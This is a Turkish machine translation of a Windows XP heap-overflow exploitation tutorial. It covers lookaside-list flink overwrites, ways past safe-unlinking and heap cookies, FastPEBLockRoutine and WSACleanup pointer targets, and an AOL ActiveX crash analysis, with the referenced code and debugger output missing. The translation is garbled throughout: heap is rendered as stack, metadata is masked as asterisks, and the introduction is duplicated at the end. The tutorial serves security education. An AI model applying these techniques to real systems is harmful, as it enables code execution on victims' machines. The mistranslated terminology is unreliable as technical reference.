İnsanlar İçin Yığın Taşmaları 102
Başlangıçta, okuyucuya bağlantı kaldırma işleminin nasıl çalıştığı ve saldırgana keyfi bir yazma sağlamak için serbest listeden [n] flink / blinkin nasıl kontrol edilebileceği konusunda pratik bir çalışma bilgisi vermek amacıyla Windowsun eski sürümlerindeki yığın taşmalarından yararlanma tekniklerini tartıştım. 4 ilkel.
Bu makalenin temel amacı, kendimi yeniden eğitmek (unutkanım) ve güvenlik uzmanlarının, yığın yöneticisinin pencerelerin eski sürümleri (NT v5 ve altı) altında nasıl çalıştığına ilişkin teknik anlayışları kavramaya devam etmelerine yardımcı olmaktır. Bu, yığın taşmalarından veya bellek bozulmaları güvenlik açıklarından yararlanmak ve genel yazma 4 ü önlemeyi amaçlayan belirli azaltıcı önlemleri atlamak için yapılır. Ayrıca, okuyucunun daha yeni Windows yığın uygulamalarına saldırmak için hiç şüphesiz ihtiyaç duyulacak bir bilgi ölçütü oluşturma amacına hizmet eder.
Bu öğreticide, Windows XP SP2 / SP3 yığın koruma mekanizmalarını atlamak için yalnızca iyi bilinen bir uygulamaya özel teknik ayrıntılı olarak tartışılacaktır. Bu nedenle, hiçbir şekilde kesin bir rehber değildir ve yığının her yönünü kapsamaz. Devam etmek için, Windows XP / Server 2003te yığın yapılarının nasıl çalıştığına dair biraz sağlam bir anlayışa ihtiyaç vardır.
Yalnızca bu öğreticinin amaçları doğrultusunda ve İnsanlar için Yığın Taşması 101den gelen geri bildirimlere dayanarak, yığın iç bileşenlerinin bu ortamda nasıl çalıştığının bazı yönlerini tartışacağım.
Yığın tabanlı arabellek taşmalarına aşina değilseniz, en azından temel düzeyde, o zaman önce bu alana odaklanmanız önerilir.
Takip etmek için ihtiyacınız olacaklar:
- Yalnızca SP1 yüklü Windows XP.
Yalnızca SP2 / SP3 yüklü Windows XP.
Bir hata ayıklayıcı (Olly Debugger, Immunity Debugger, ms sembol sunucusuna erişimli windbg vb.).
Bir c / c ++ compilier (Dev C ++, lcc-32, MS visual C ++ 6.0 (hala alabiliyorsanız)). Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
Bir beyin (ve / veya sebat).
Bir miktar Assembly, C bilgisi ve Olly için HideDbg (eklenti) veya bağışıklık hata ayıklayıcı altında!
Zaman.
Bir kahve alın ve bu gizemli siyah sanatı inceleyelim.
Peki bir yığın ve blok tam olarak nedir?
Varsayılan olarak, Windows yığın için belirli bir yapıya sahiptir. PEBdeki uzaklık 0x90da, sıralı bir dizi yapısında (kronolojik sırayla) verilen işlem için yığınların bir listesini görebilirsiniz. Bazı yığın yapılarına bakalım:
Windbg kullanarak mevcut PEByi! Peb kullanarak bulabiliriz. Bağışıklık Hata Ayıklayıcı kullanıcısıysanız, bu bilgileri! Peb kullanarak da görüntüleyebilirsiniz. ! Peb için sağlanan çok basit kod aşağıdadır.
PEBye girdikten sonra süreç yığınlarını görebiliriz:
0x7c97ffe0 işaretçi konumunda
dwordlerin dökümünü alalım
Kalın yazılmış adresler, bu süreçte çalışan mevcut yığınlardır. Bu bilgi ayrıca windbg ve Immunity Debuggerda! Heap komutunu kullanarak bulunabilir.
Ek olarak, windbgdeki! Heap -stat komutunu kullanarak her bir yığınla ilgili istatistiksel bilgileri görüntüleyebilirsiniz. Aşağıda bunun örnek çıktısı verilmiştir:
Son olarak, Immunity Debuggerda -h ve -q bayrağını kullanarak yığınla ilgili bazı **** verileri dökebilirsiniz.
İlk yığın (0x00240000) varsayılan yığın iken, diğer yığınlar C bileşenlerinden veya yapılarından oluşturulur.
Çıktıdaki son yığın (0x00480000) uygulamamız tarafından oluşturuldu. Uygulama, ek öbek (ler) oluşturmak için HeapCreate () gibi bir çağrı kullanabilir ve işaretçileri PEBde 0x90 ofsetinde saklayabilir. Aşağıda HeapCreate () için Windows API gösterilmektedir.
HeapCreate () e doğru parametrelerle yapılan bir çağrı, EAX kaydında depolanan oluşturulan öbeğe bir işaretçi döndürecektir.
Argümanlar aşağıdaki gibidir:
Bayraklar hakkında daha fazla bilgi msdnde bulunabilir.
Aşağıda, önemli konumların vurgulanmış olduğu bir yığın yapısı tablosu verilmiştir.
Bu bilgiyi görüntülemek için windbgde dt _heap komutunu kullanabilirsiniz.
Yığın segmentleri
Daha önce bahsedildiği gibi, her yığın parçası bir yığın segmentinde saklanır. Bir bellek parçası serbest bırakılırsa, yığın segmentinde depolanmanın yanı sıra serbest listeye veya görünüm listesine eklenecektir.
Tahsis ederken, eğer yığın yöneticisi görünümde veya serbest listede herhangi bir kullanılabilir boş yığın bulamazsa, taahhüt edilmemiş alandan mevcut yığın segmentine daha fazla bellek işleyecektir. Birçok ayırma nedeniyle çok fazla bellek işleniyorsa, bir yığın yapısı birçok segmente sahip olabilir.
Aşağıda, segment yığın yapısını gösteren bir tablo bulunmaktadır.
Yığın segmentlerini analiz ederken, windbgde ! Heap -a [heap address] komutunu kullanırız.
Ek olarak, bağışıklık hata ayıklayıcısında ! Heap -h [heap address] -c komutunu kullanabilirsiniz (-c bayrağı yığınları gösterir)
Her segment kendi **** verilerini ve ardından segment içindeki veri yığınlarını içerir. Bu, segmentin kaydedilmiş hafızasıdır ve son olarak segment, kaydedilmemiş hafızanın bir bölümünü içerir. Artık analiz etmek istediğimiz segmenti bildiğimize göre, **** veri yapısını dökmek için dt _heap_segment [segment adresi] komutunu kullanabiliriz.
Aşağıda, segment **** verilerinin yapısını içeren ayrıntılı bir tablo bulunmaktadır. Basit olması için, adres aralığını 0x00480000den başlatacağız.
Bir segmentteki önemli bilgiler ilk parçadır. Bu bilgi tek başına segmentte yürümek için kullanılabilir, çünkü sadece boyutu ve ayrıntı düzeyini bilerek yığınları ve sonraki parçaları görüntüleyebilirsiniz.
Arka uç ayırıcı Freelist
Yığın yapısının 0x178 ofsetinde, FreeList [] dizisinin başlangıcını görebiliriz.
FreeList, çift bağlantılı bir yığın listesi içerir.
Hem flink hem de blink içerdikleri için çift bağlantılılar.
Yukarıdaki diyagram, serbest listenin 0-128 arasında değişen dizine alınmış yığın yığınları içerdiğini göstermektedir.
0 ile 1016 arasındaki herhangi bir yığın boyutu (maksimum boyut 1024 8 bayt **** veri olduğundan 1016dır), ayrılmış birim boyutuna göre depolanır * 8. Örneğin, serbest bırakılacak 40 baytlık bir parçam olduğunu söyleyin, sonra ben parçayı serbest listenin 4. Dizinine yerleştirir (40/8).
Bir yığın boyutu 1016 (127 * 8) baytın üzerindeyse, sayısal boyut sıralamasında serbest liste [0] girişinde depolanır.
Aşağıda, serbest liste parçasının bir açıklaması bulunmaktadır.
Microsoft, serbest liste girişinin bağlantısının kaldırılmasına yönelik saldırıları önlemek için bazı azaltıcı önlemler yayınladı, aşağıda azaltıcı önlemlerin kısa bir açıklaması bulunmaktadır.
Serbest listenin güvenli bir şekilde ayrılması:
Güvenli bağlantı kesme, Microsoft tarafından Windows XP Sp2 ve sonraki sürümlerde uygulanan bir koruma mekanizmasıdır.
Temel olarak, İnsanlar için Yığın Taşması 101de tartışıldığı gibi genel yazma 4 tekniğini engellemeye çalışan bir istismar azaltma işlemidir.
Bu kontrolde, önceki yığınlar flink tahsis edilmiş parçamıza işaret eder ve bitişik parçalar yanıp söner.
Aşağıda, güvenlik mekanizmasının bir açıklaması ve şeması bulunmaktadır.
Kırmızı ile gösterilen çizgiler, kontrolün yapıldığı yerdir.
Denetimlerden herhangi biri başarısız olursa, ntdll.dllye 0x7c936934e atlama yapılır.
Gördüğünüz gibi, flink / blinki kontrol eden bir kod eklememiz dışında, geleneksel bağlantısız bağlantımızla hemen hemen aynı.
Serbest Liste Başlık Çerezleri
Windows XP SP2nin tanıtımı, öbek başlıklarının içine 0x5 ofsetinde yerleştirilen rastgele bir yığın tanımlama bilgisini gördü.
Bu çerez kontrolleri yalnızca serbest liste parçalarına sahiptir.
Aşağıda, güvenlik tanımlama bilgisinin vurgulanmış olduğu bir yığın parçasının görüntüsü bulunmaktadır.
Bu rastgele bir tek bayt girişidir ve bu nedenle 256 olası değerden oluşan maksimum olası rasgeleleştirmeye sahiptir.
Bu değeri çok iş parçacıklı bir ortamda zorla uygulayabileceğinizi unutmayın.
Ön Uç Ayırıcı Lookaside Görünüm Listesi
1016 baytın (en fazla: 1016 + 8) altındaki yığın parçalarını depolamak için kullanılan tek bağlantılı bir listedir.
Göz atma listesinin arkasındaki fikir, hız ve hızlı arama süresi sağlamaktır.
Bunun nedeni, uygulamaların işlemlerin çalışma zamanı sırasında birden çok HeapAlloc () ve HeapFree () yi çalıştırmasıdır.
Hız ve verimlilik için tasarlandığından, liste girişi başına 3ten fazla boş parçaya izin vermez.
HeapFree () bir yığın üzerinde çağrılırsa ve bu belirli parça boyutu için zaten 3 girdi varsa, o zaman Freelist [n] ye serbest bırakılır.
Yığın yığın boyutu her zaman ayırmanın gerçek boyutuna + başlığı nedeniyle ek 8 bayt olarak hesaplanır.
Dolayısıyla, tahsis 16 bayt için yapılırsa, görünüm listesi 24 baytlık yığın boyutları için taranır (16 + yığın başlığı).
Aşağıdaki diyagram durumunda, pencere yığın yöneticisi başarılı olur ve görünüm listesinin 2. Dizininde kullanılabilir bir yığın bulur.
Lookaside listesi yalnızca bir sonraki kullanılabilir parçayı (kullanıcı verileri) gösteren bir flink içerir.
Windows yığın yöneticisi bir ayırma isteği aldığında, isteği yerine getirebilecek boş yığın bellek parçalarını arar.
Optimizasyon ve hız için, Windows yığın yöneticisi ilk olarak (tek bağlantılı liste yapısı nedeniyle) başlangıçta görünüm listesinde gezer ve boş bir yığın bulmaya çalışır.
Eğer yığın burada bulunmazsa, Windows yığın yöneticisi arka uç ayırıcıyı deneyecektir.
Yığın yöneticisinin serbest listede dolaşacağı yer burasıdır (serbest liste [1]-serbest liste [127] arasında).
Hiçbir parça bulunmazsa, daha büyük bir yığın için serbest listedeki [0] girişini yürütür ve ardından yığınları böler.
Bir kısım öbek yöneticisine iade edilecek ve geri kalanı serbest listeye [n] dönecektir (n, boyut olarak kalan baytlara dayalı dizindir).
Bu bizi bir sonraki bölüm olan yığın işlemlerine getiriyor.
Temel Yığın İşlemleri
Yığın bölme: Yığın bölme, oldukça büyük bir parça için serbest listeye [n] erişme ve onu daha küçük parçalara ayırma işlemidir.
Serbest listede istenen tahsis boyutundan daha büyük bir parçaya erişildiğinde, yığın, istenen tahsis boyutunu karşılamak için ikiye bölünecektir.
Serbest listede [0] bunun 2048 baytlık tek bir yığın olduğunu varsayalım.
İstenen ayırma boyutu 1024 bayt (başlık dahil) ise, yığın bölünür ve 1024 baytlık yığın boyutu, arayana yeni tahsis edilmiş 1024 baytlık yığın döndürülürken serbest listeye [0] geri konur.
Yığın Birleştirme: Yığın birleştirme, merkez öbek de serbest bırakıldığında serbest kalan iki bitişik yığın bellek parçasını bir araya getirme eylemidir.
Yığın yöneticisinin bunu yapmasının nedeni, segment belleğini etkin bir şekilde kullanmaktır.
Tabii ki, parçalar serbest bırakıldığında verimlilikte bir değiş tokuş var.
Yığın birleştirme çok önemli bir işlemdir, çünkü birden fazla parça bir araya getirilebilir (bir kez ücretsiz) ve daha sonra daha büyük boyutlu diğer tahsisler için kullanılabilir.
Bu işlem gerçekleşmediyse, yığın segmentinde boşa harcanan yığınlar oluşur ve parçalara ayrılır.
Windows XP SP2 / 3 Güvenlik Mekanizmalarını Atlamak İçin Teknikler
Bakış kenarının bir kısmının üzerine yazmak:
Bu teknik, yığın tanımlama bilgilerini ve güvenli bağlantı kaldırma kontrollerini atlamak için en yaygın tekniktir.
Bu, bir write 4 ilkelini elde etmek için uygulamaya özgü bir teknik olsa da, bazı uygulamalar, güvenilir kullanım için yeterince yığın düzenini belirlemenize izin verebilir.
Lookside listesinde güvenli bir bağlantı kesme veya tanımlama bilgisi kontrolü olmadığından, bir saldırgan bitişik bir lookaside girişinde bulunan flink değerinin üzerine yazabilir ve bu işaretçiyi bir HeapAlloc () veya HeapFree () çağrısı yoluyla yalnızca daha sonra kötü amaçlı kod yazmak için geri döndürebilir.
Sonraki kullanılabilir yığın.
Bunun görsel olarak nasıl çalıştığını görelim, derin nefes alalım.
1. Mevcut segmentte parça (A) ayırarak başlıyoruz
2. Daha sonra aynı segmentte başka bir parça (B) ayırıyoruz
3. Şimdi görünüm listesine (B) parçasını serbest bırakıyoruz, böylece iki giriş var, biri segment için, diğeri de görünüm listesi için
4. Şimdi yığın (A) yı taşıyoruz (Bu daha sonra yığın Bye taşacak ve flinkini güncelleyecektir). Bu, üzerine yazılacak **** verilerdir
https://i.hizliresim.com/EqDYg4.jpg
5. Şimdi (B) parçasını yeniden ayırıyoruz (2. Adımdaki B öbeği ile aynı büyüklükte bir öbek ayırarak). Bu, öbek (B) için göstericiyi döndürür ve geçerli yığın bölütündeki referansını günceller ve bir sonraki tahsisat için hazır olur. Artık flink, yığın (B) olarak saldırganın yığın (A) taşmasından kontrol ettiği keyfi bir adrese güncellenir.
6. Şimdi parça (C) ayırarak kontrolü ele alıyoruz. Bu, yığın (B) den sonraki mevcut yığın olacak ve bu nedenle, yığın (B) nin kontrollü flinkiyle de gösterilecektir. Saldırgan, yığın (C) yi kabuk koduyla doldurur.
Bu işlem tamamlandığında, ideal olarak yazma kontrolümüzden sonra çağrılacak olan üzerine yazılmış bir işlev işaretçisinin kontrolüne sahibiz.
Aşağıda göstereceğimiz C kodu yer almaktadır.
Birkaç __asm __ (int $ 0x3) olmasının nedeni; talimatlar, hata ayıklayıcıda yürütmeyi duraklatmak için yazılım kesme noktalarını ayarlamaktır.
Alternatif olarak, derlenmiş ikili dosyayı hata ayıklayıcıda açabilir ve çağrıların her birinde kesme noktaları ayarlayabilirsiniz.
Kodu dev c ++ da oluşturun (AT&T satır içi derlemeyi gcc.exe ile derlemeyi kullanır). Kodu çalıştırırken hata ayıklayıcıdayken ilk kırılma noktasına ulaşıyoruz, bir göz atalım.
0x00480000 segmentinde 0x18 boyutunda iki tahsis edilmiş parçamız olduğunu görebiliriz.
Bu değerden 0x8 bayt çıkarırsak, 0x10 veya 16 bayt kalır.
Bakalım kenara bir göz atalım ve bu konumu da (B) parçasını gerçekten serbest bırakıp bırakmadığımızı görelim.
Mükemmel! Böylece yığınımızı görünüm tarafında görebiliriz (8 bayt daha az, böylece başlığa işaret eder).
Bu yığın, boyutunun <1016 olması ve bu belirli parça boyutu için görünüm tarafında <= 3 parça olması nedeniyle bu konuma serbest bırakıldı.
Emin olmak için, serbest listeye bir göz atalım ve neler olduğunu görelim.
Tamam, basit görünüyor, bir segment ve birkaç tahsis oluşturmada normal olan serbest listedeki [0] dan bazıları dışında hiçbir giriş yok.
Devam ederek, yığınları ve bitişik yığın başlıklarını aşmak için bazı 0x41lerle yığın Ayı taşıyoruz.
Aynı verilerle, bitişik parçaların flinkini 0x44 kullanarak taşacağız.
Harika, saldırganların girdisi tarafından 0x00481ea8-0x8deki (parça B) ayırmamızın üzerine yazıldığını görebiliyoruz.
Lookaside girişinin 0x4444443c değerini içerdiğini de görebiliriz.
Bu değere 0x8 bayt eklersek, tam olarak kullandığımız değer olan 0x44444444 olur!
Yani bu noktada, yığın Bnin flinkini nasıl kontrol ettiğinizi anlayabilirsiniz.
Parça B (0x00481ea8-0x8) ile aynı boyut için bir ayırma yapıldıktan sonra, parça Bnin girişi, görünüm [3] girişinden kaldırılacak ve arayana geri dönecektir.
Ayrıca başlıkların da tam kontrolümüz altında olduğunu unutmayın.
Yani, yığın Aya (0x00481e88) bakarsak, parçanın kullanımda olduğunu görebiliriz çünkü bayrak 0x1 olarak ayarlanmıştır (meşgul olduğunu gösterir).
(0x00481ea0) adresindeki bir sonraki parça henüz güncellenmedi, çünkü bu noktada bakış açısından hala serbest bırakıldı.
Bu noktada, kod erişim bir OKUMA işleminde ihlal edecektir. Bu tekniği kullanarak bir uygulamaya saldırırken, 0x44444444ü bir işlev işaretçisi (sahte flink) ile değiştirirdik.
Şimdi, yığın yöneticisi bir sonraki ayrılan parçayı oluşturduğunda, uygulama sahte flinkin yerine yazacaktır.
Şimdi yığın Cyi ayıracağız ve tamponu rastgele bir kabuk kodu ile dolduracağız. Bu noktadaki fikir, işlev işaretçimizin uygulama çökmeden (veya çökme nedeniyle çağrılmadan) önce çağrılmasını sağlamaktır.
İnsanlar için Yığın Taşması 101de bahsetmediğim çok akıllıca bir numara, saldırganın PEB global işlev işaretleyicilerini kullanabilmesidir (yalnızca XP SP1den önce).
Ancak Windows XP SP2 ve üzeri sürümlerde bu adres işaretçileri artık rasgele dağıtılmıştır.
Bunu ilk gördüğümüzde hata ayıklayıcıya ikili yüklerken şunu kontrol edelim:
Şimdi tekrar yapalım:
İki PEB adresinin farklı olduğuna dikkat edin.
Bir istisna oluştuğunda, istisna dağıtıcısı büyük olasılıkla ExitProcess () i çağıracak ve daha sonra RtlAcquirePebLock () u çağıracaktır.
Bu işlem, istisna sırasında pebde hiçbir değişiklik yapılmayacak şekilde gerçekleştirilir ve işleyici gönderildikten sonra, RtlReleasePebLock () çağrısı yoluyla kilidi serbest bırakır.
Ek olarak, bu işlevler içinde kullanılan işaretçiler W | X korumalı değildir, yani bu bellek bölgesinde yazabilir ve çalıştırabiliriz.
Bu işlevlerin her biri, çakıldan sabit bir ofseti olan statik işaretçilerden yararlanır.
Aşağıda RtlAcquirePebLock () işlevi ve görebileceğiniz gibi FS: [18] (peb) EAXe taşınır.
Daha sonra 0x30 ofsetinde, global fonksiyon işaretçileri depolanır ve 0x24 ofsetinde çağrılacak olan FastPebLockRoutine () fonksiyonu bulunur.
ADolayısıyla, bir istisna oluştuğunda RtlAcquirePebLock () ve RtlReleasePebLock () rutinleri çağrıldığında, kod sürekli olarak bir istisnayı tetikleyecek ve kodunuzu sonsuza kadar çalıştıracaktır.
Bununla birlikte, kabuk kodunuzu çalıştırarak ve ardından işaretçi konumunu bunun yerine exit () işaretini gösterecek şekilde değiştirerek pebe yama yapabilirsiniz.
Mevcut süreçte ne kadar çok iş parçacığı olursa, o kadar az rasgeleleştirme olur (rastgele adresler birden fazla PEB için kullanılır) ve mevcut PEBnin adresini tahmin edebiliriz.
Bununla birlikte, sorun hala, write 4 ilkelimiz (genel bir işlev göstericisi) için üzerine yazacak güvenilir bir işlev işaretçisine sahip olmadığımız gerçeğinde yatmaktadır.
Bazen bir uygulama, bir istisna oluşmadan önce özel bir işlev işaretçisi kullanabilir veya başka bir Windows kitaplığındaki bir işlev işaretçisi çağrılır ve bu, kodumuzla bu işaretçinin üzerine yazmak ve kabuk kodunu yürütmek için kullanılabilir.
Spesifik işaretçi istismarı:
Gösteri amacıyla, sabit PEB Global işlev işaretçileri nedeniyle Windows XP SP1 altındaki görünüm kenarındaki bir parçanın üzerine yazacağım. FastPEBLockRoutine () 0x7ffdf020 adresinde bulunur. Bu satırın açıklamasını kaldırmanız yeterlidir:
Ve bu satırı yorumlayın:
Bu yüzden şimdi yığın A Xleri taşacağız ve AAAA ve BBBB ile yığın Bnin **** verilerine taşacağız ve sonunda 0x7ffdf020 ile yığın Bnin flinkinin üzerine yazacağız.
Yeniden derleyin ve hata ayıklayıcıya yükleyin.
Şimdi C öbeğini (0x7ffdf020 ile gösterilen) ayırdığımızda, öbeği shellcode ile doldurabiliriz ve bir istisna oluştuğunda çağrılır.
Aşağıda, EAXi PEB konumunu içerecek şekilde ayarlayan aşağıdaki kodu görebiliriz ve 0x20 (FastPEBLockRoutine ()) ofsetinde yürütmeyi kodumuza aktaran bir doğrudan arama yapılır.
Artık EIP üzerinde doğrudan kontrolümüz var ve onu koda dönmek için kullanabiliriz. Buradan DEPyi atlamak ve kod yürütme almak önemsizdir.
Uygulamaya özel işaretçi istismarı:
Windows XP SP3 altında uygulamaya özel bir işaretçi kullanarak bu güvenlik açığından yararlanmanın bir örneğini sağlamadığım sürece bu makale tamamlanmış sayılmaz.
Bir yığın taşması içeren yazılımları hedeflerken, taşmanın meydana gelmesinden sonra da yazılabilen ve çalıştırılan herhangi bir sabit kodlu işlev çağrısı hedeflenmeli ve kötüye kullanılmalıdır.
Örneğin, winsocktan WSACleanup (), XP SP3 altında 0x71ab400ada sabit kodlanmış bir işlev çağrısı içerir. Bu, bellekte shellcodeumuzu da yazabileceğimiz bir konum olarak kullanılabilir.
Bu şekilde WSACleanup () (veya diğer birçok winsock işlevi) yürütüldüğünde, kabuk koduna geri yönlendirecektir.
Aşağıda WSACleanup () işlevinin sökülmesi ve kodlanmış işlev çağrısının bulunması yer almaktadır.
Windows altındaki hemen hemen tüm ağ oluşturma uygulamalarının winsocktan dışa aktarılan işlev çağrılarını kullanması muhtemeldir ve özellikle WSACleanup () tüm soket bağlantılarını temizlemek için kullanılır ve bu nedenle bir yığın taşmasından sonra yürütülmesi neredeyse garanti edilir.
Bu nedenle, üzerine yazmak için bu işlev işaretçisini (0x71ac4050) kullanmak oldukça tutarlı bir şekilde çalışıyor gibi görünüyor.
Başka bir örnekte gösterildiği gibi, recv () işlevi aynı işleve yönelik bir çağrı da içerir.
0x71ab678fdeki işlev çağrısını takip edersek, buraya indiğimizi görebiliriz:
Bu teknikle ilgili temel sorun, o konumda üzerine yazacağınız için, winsock kullanan herhangi bir kabuk kodunun (pratik olarak ekleyebileceğim her şey) başarısız olmasıdır.
Bunu çözmenin bir yolu, 0x71ac4050 konumunu orijinal kodla yeniden yamalamaktır, böylece winsock çağrıları çalışır.
Ne biliyorsun? 0x71ac4050de başka bir erteleme çağrısı, sadece bunun başarılı olacağını doğrulamak için, belleğin erişim izinlerine bakalım.
Uygulamaya Özel Yığın İstismarı Örneği:
Bir vulnerserver ikili kodu sağladım (kodun çoğu, Stephen Bradshawsın infosec enstitüsündeki blog girişinden kullanılıyor, tüm krediler ona gitmeli) ve yığın taşmaları ve memleaksleri içerecek şekilde buna göre ayarladım.
Buradaki fikir, yığını doğru şekilde tetikleyecek ve düzenleyecek bir PoC istismarı oluşturmaktır, böylece görünüm kenarındaki bir yığının üzerine yazabilir ve kod yürütme elde edebilirsiniz.
Bu (b33f: Dosya mevcut değil) dosyasını indirin ve Windows XP SP 3 altında çalıştırın ve bu tekniğin konseptini anlamanıza yardımcı olması için burada verilen örnekleri deneyin.
Şimdilik kaynak kodunu paylaşmamaya karar verdim, böylelikle insanlar öbek düzeninin doğru yolunu bulmak ve kod yürütmeyi tetiklemek için biraz tersine mühendislik yapmak zorunda kalacaklar.
Bir ipucu olarak (umarız çok büyük değildir), yığın düzenini belirleyerek çalışan PoC kodunun ekran görüntüsü:
Tabii ki, yığın belleği düzenleyebileceğiniz her durum mükemmeldir. Bir hedef süreç yığını oluşturmak için daha kolay bir hedef, müşteri tarafını güvenilir bir yol olarak kullanmaktır.
Yığın düzenlerini komut dosyası oluşturma ve kontrol etme becerisiyle, bir yığın taşması yoluyla yararlanılabilecek bir durum kurabileceğinizden emin olabilirsiniz.
Bir örnek, Alex Soritovun heaplib.jssini, yığın bellek içindeki dizeler üzerinde diğer birçok işlemi ayırmaya, serbest bırakmaya ve gerçekleştirmeye yardımcı olmak için kullanmaktır.
MSHTML tarafından kullanılan yığınları ayırmak veya serbest bırakmak için JavaScript veya DHTML kullanıyorsanız, yığın yöneticisini kontrol edebilir ve hedef tarayıcıdaki bir yığın taşmasından yürütme denetimini yeniden yönlendirebilirsiniz.
AOL 9.5 (CDDBControl.dll) ActiveX Yığın Taşması Analizi Bu güvenlik açığına bir göz atmaya ve Windows XP SP3 altında bu hatanın yararlanılabilirliğini belirlemeye karar verdim.
Denetimin komut dosyası oluşturma veya başlatma için güvenli olmadığını işaretlemesine rağmen, analiz edilmesi ilginç bir hata olabileceğini düşündüm.
Bu bölümü eklemeyecektim, ancak sinn3r sordu, bu yüzden eklemeye karar verdim
Şimdi, bir ActiveX kontrolü içinde olduğu için, tetiklenmesinin yollarından biri, IEnin tarayıcısı olan bir komut dosyası dilini kullanmaktır. .
JavaScripti sadece en esnek olduğu ve içinde heapLib.js de yazıldığı için kullanmaya karar verdim. Ortamım şöyleydi: - IE 6/7 XP SP3 heapLib.js
Öyleyse eğlence başlasın! Öncelikle Hellcode Research tarafından exploit-dbde sağlanan PoCyi tetikledim. Çökmeyi inceleyelim:
Burada görebildiğimiz şey, mevcut yığındaki segmentin aslında taahhüt edilmemiş hafızanın bittiği ve bu yığın segmenti için daha fazla hafıza kaydedemediği.
Ve bakarsak:
Başka bir segment oluşturma yeteneği olmadan yığın segmenti biter. Peki ne yapıyoruz?
Bir bağlantı kaldırma işlemini tetiklememiz gerektiğini biliyoruz.
Bunu yapmak için, Windows yığın yöneticisinin tüm verileri ayırma tamponuna (diğer parçaların üzerine yazarak) kopyalamasına, ancak mevcut segmenti çalıştırmamasına ihtiyacımız var.
Daha sonra bir sonraki tahsis veya ücretsiz tetiklendiğinde, bağlantıyı kaldırmaya çalışacaktır.
PoCyi 4000 yerine sadece 2240 bayt ile taşmayı tetikleyecek şekilde değiştirdim.
Şimdi hatayı tetiklediğimizde, aslında tarayıcıyı kilitlemiyoruz.
Elbette yığın taşmıştır, ancak başka bir bağlantı kesme işlemi olana kadar çökmeyecektir.
Ancak tarayıcıyı kapatırken, çöp toplayıcı tüm serbest bırakılmış parçaları çalıştırır ve tahsis eder ve bu nedenle RtlAllocateHeap () e birden çok çağrı yapılır ve hata tetiklenir.
Bu sefer işler biraz daha gerçekçi görünüyor.
Harika, bu yüzden potansiyel olarak istismar edilebilir bir durumumuz var.
Bu durumda, flink EAX ve blink EDIdir. XP sp0-1 ve altı altında, basit bir UEF işlevinin üzerine yazıp kontrolü ele alabilirdik.
Ancak tarayıcının, yığını masaj yapmak için güçlü komut dosyası yazma becerisine erişimimiz var, bu nedenle, XP SP3 altındaki güvenlik açığını hedeflemeyi deneyeceğiz.
Yığın düzenlerini analiz ederken, Active X kontrolünün aslında çalışma zamanında kendi yığınını oluşturduğunu ve kilitlenmenin serbest liste ekinde tetiklendiğini hemen fark ettim.
HeapLib.js kitaplığını kullanırken, öbeği oldukça iyi bir şekilde işleyebildim, yani, aktif X kontrol öbeği ** değil ** varsayılan işlemler yığını.
Bu noktada, Windows XP SP3 ve üstü altında * kullanılamaz göründüğünü * söyleyebilirim, elbette bu büyük bir yanlış yorumlama olabilir, ancak anlayabildiğim kadarıyla, nesneler yığını değiştirilemezse, o zaman olamaz sömürülmek.
Kancalama:
Yığın taşması içeren uygulamalarda hata ayıklarken bilmeniz gereken yararlı bir ipucu, ayırma ve serbest bırakma sayısı ve bunların boyutudur.
Bir süreç / iş parçacığı ömrü boyunca, birçok tahsis ve serbest bırakma yapılır ve bunların hepsini ayırmak kesinlikle zaman alır.
Bağışıklık hata ayıklayıcısıyla ilgili güzel bir şey, RtlAllocateHeap () ve RtlFreeHeap () i kancalamak için! Hookheap eklentisini kullanabilmeniz ve böylece herhangi bir işlem sırasında yürütülen tahsislerin / serbest bırakmaların boyutunu ve sayısını bulabilmenizdir.
Ve görebileceğiniz gibi, belirli bir tahsis göze çarpıyor, çok sayıda bayt tahsisi, hedef savunmasız sunucuya bir istek olduğunu gösteriyor gibi görünüyor.
Sonuç
Yığın yöneticilerinin anlamak ve yığın taşmalarını kullanmak çok karmaşıktır, çünkü her durum farklıdır.
Hedef uygulamanın mevcut bağlamını ve içerdiği sınırlamaları anlamak, bir yığın taşmasının yararlanılabilirliğini belirlemenin anahtarıdır.
Microsoft tarafından uygulanan koruma azaltımı, genel anlamda yığın taşması istismarının çoğunu önler, ancak zaman zaman ortaya çıkan ve kötüye kullanılabilen uygulamaya özel durumları görürüz.
Source:https://www.fuzzysecurity.com/tutorials/mr_me/3.html
Translator: Qgenays
Başlangıçta, okuyucuya bağlantı kaldırma işleminin nasıl çalıştığı ve saldırgana keyfi bir yazma sağlamak için serbest listeden [n] flink / blinkin nasıl kontrol edilebileceği konusunda pratik bir çalışma bilgisi vermek amacıyla Windowsun eski sürümlerindeki yığın taşmalarından yararlanma tekniklerini tartıştım. 4 ilkel.
Bu makalenin temel amacı, kendimi yeniden eğitmek (unutkanım) ve güvenlik uzmanlarının, yığın yöneticisinin pencerelerin eski sürümleri (NT v5 ve altı) altında nasıl çalıştığına ilişkin teknik anlayışları kavramaya devam etmelerine yardımcı olmaktır. Bu, yığın taşmalarından veya bellek bozulmaları güvenlik açıklarından yararlanmak ve genel yazma 4 ü önlemeyi amaçlayan belirli azaltıcı önlemleri atlamak için yapılır. Ayrıca, okuyucunun daha yeni Windows yığın uygulamalarına saldırmak için hiç şüphesiz ihtiyaç duyulacak bir bilgi ölçütü oluşturma amacına hizmet eder.
Bu öğreticide, Windows XP SP2 / SP3 yığın koruma mekanizmalarını atlamak için yalnızca iyi bilinen bir uygulamaya özel teknik ayrıntılı olarak tartışılacaktır. Bu nedenle, hiçbir şekilde kesin bir rehber değildir ve yığının her yönünü kapsamaz. Devam etmek için, Windows XP / Server 2003te yığın yapılarının nasıl çalıştığına dair biraz sağlam bir anlayışa ihtiyaç vardır.
Yalnızca bu öğreticinin amaçları doğrultusunda ve İnsanlar için Yığın Taşması 101den gelen geri bildirimlere dayanarak, yığın iç bileşenlerinin bu ortamda nasıl çalıştığının bazı yönlerini tartışacağım.
Yığın tabanlı arabellek taşmalarına aşina değilseniz, en azından temel düzeyde, o zaman önce bu alana odaklanmanız önerilir.
Takip etmek için ihtiyacınız olacaklar:
- Yalnızca SP1 yüklü Windows XP.
Yalnızca SP2 / SP3 yüklü Windows XP.
Bir hata ayıklayıcı (Olly Debugger, Immunity Debugger, ms sembol sunucusuna erişimli windbg vb.).
Bir c / c ++ compilier (Dev C ++, lcc-32, MS visual C ++ 6.0 (hala alabiliyorsanız)). Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz).
Bir beyin (ve / veya sebat).
Bir miktar Assembly, C bilgisi ve Olly için HideDbg (eklenti) veya bağışıklık hata ayıklayıcı altında!
Zaman.
